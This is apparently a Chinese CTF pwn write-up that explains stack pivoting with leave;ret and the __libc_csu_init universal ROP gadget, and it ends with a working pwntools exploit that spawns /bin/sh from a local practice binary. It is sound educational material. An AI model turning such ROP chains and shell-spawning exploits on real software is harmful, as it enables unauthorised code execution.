栈转移原理与通用garget的使用


栈转移原理与通用rop的使用

此题下载链接:
点击下载
这里我们通过一题pwn题边解边说:

可以看到,这题讲解示范没有开任何保护。
拖入ida查看:

这里打印的是system、execv函数在libc的地址

查看vul函数发现有溢出点但是字节有限只能溢出24个字节,而此题没有现成的system或execv函数可用,直接溢出并不现实

栈转移原理

现在介绍一个新的方法:栈转移
当碰到这种题目时,因为溢出字节不够,要转移到别的栈段上运行已准备好的rop
栈是由rbp和rsp决定的,尤其是后者rsp在哪,栈就在哪。因此,我们只需要想办法把rsp指针转移到我们需要的地方即可。而想要改变rsp的值,可以先通过改变rbp的值,再把rbp的值传递给rsp就可以达到栈转移到目的。
实际方法用leave ret指令可以做到
我们知道leave指令相当于

move rsp, rbp
pop  rbp

ret指令相当于:

pop rip

因此将rbp的值先覆盖成目标地址,利用函数自带的leave指令先将rbp控制,接下另一段leave ret的garget的地址就可以实现rsp的控制实现栈转移,至于转移后rbp的值并不重要
leave;ret;地址:

通用garget原理

已经把栈转移到了grobe_buf去了,接下来设置该区域的rop链,我们用通用garget
我们点开_libc_csu_init这个函数

可以发现这里的garget是不是很齐全,只要调用了这里几乎哪里都能call,这里分为两个garget分别记下地址
这里说一下怎么查看execv函数got表地址:


接下来上exp:

from pwn import*
io=process('./advanced')
payload1=b'a'*80+p64(0x404080)+p64(0x4011fb)#leave ret的地址
payload2=b'/bin/sh\x00'#将/bin/sh\x00输入grobe_buf中
payload2+=p64(0x40133a)#通用garget pop部分
payload2+=p64(0)#rbx
payload2+=p64(1)#rbp
payload2+=p64(0x404080)#将/bin/sh的地址给r12,r12后会给rdi
payload2+=p64(0)#r13
payload2+=p64(0)#r14 这两个值看调用函数原型的要求来定
payload2+=p64(0x403ff8)#execv函数在got表的真实地址
payload2+=p64(0x401320)#通用garget call部分
io.recvuntil('global:')
io.sendline(payload2)
io.recvuntil('input:')
io.sendline(payload1)
io.interactive()

结束战斗:(由于是本地做题没有flag)


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录